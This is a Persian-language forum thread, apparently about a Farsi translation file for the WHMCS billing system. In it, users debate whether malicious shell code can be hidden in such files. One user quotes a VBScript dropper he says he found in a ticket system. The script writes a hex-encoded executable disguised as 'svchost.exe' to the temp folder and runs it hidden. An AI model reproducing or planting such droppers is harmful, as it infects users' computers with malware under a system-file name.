تو فایل txt که نمیشه شل گذاشتنقل قول:
نوشته اصلی توسط s.w.a.t
نمایش نسخه قابل چاپ
تو فایل txt که نمیشه شل گذاشتنقل قول:
نوشته اصلی توسط s.w.a.t
دستور فراخوانی چرا مثل این:نقل قول:
نوشته اصلی توسط naseri
نقل قول:
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B8000000000000000 000000000000E0000000884724AC91E6B9AF41613A3B548FE4 1AB8C0AFC93B5558E01614502FDDB123F6E2CA21D30E9167C6 9B74B682F40AB47DB2A836EF257BA004B3506568CE51F21B6F F16062DEA585F1BAA01EF8B962E378976698916EF6334CD320 71BDBDF743217F08E17FC60C2AFA10858D511006E5F684EC5D 2748020F6EE9937BA095E85B3CFD962AE06C2788E375BA0F10 5425A1B42D907BFF0B768BB9083C502760FEE3A73890D886CB F74A1B7C61CFFE0CD2D894C104D3AD0486070C2BB61AFFB6F6 D6D616E1E6E70556B4576DD5C00734222BC0D744D9B7BC2DE5 86167655732556E6827B964C2E67E6BB7787074696F6EC7CC7 2175BC2B205635F4C42CA563664D46CC8C6B60F4D6F64756F4 87557E8BFC202C2559957696465A1DDDAB7431C72546F4D491 84270B020804BB738775BB043CA0140CF098011ED91BD8D934 10070600F6B6677BE851273C6007D4440015680C412EE30000 0"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
اگر این دستورات باشه که باید متاسفانه گفت حرف شما درسته البته من خودم به فایل نگاه نکردمنقل قول:
نوشته اصلی توسط it-net
نه من اینو نگاه نکردم چون از whcs استفاده ای نمی کنم.نقل قول:
نوشته اصلی توسط naseri
اینو تویه یه سیستم تیکت که داشتم ترجمه می کردم پیدا کردم که خیلی جالب بود واسم که قرار دادم که بدونید میشه دستورات شل رو چپوند
دوستان این فایلو باید کجا آپ کنیم؟
دوست عزیز این فایل برای فارسی سازی ناحیه کاربریه ، و باید در قسمتی که WHMC رو نصب کردی در پوشه lang آپ کنی
بازم سوالی داشتی درخدمتم
موفق باشی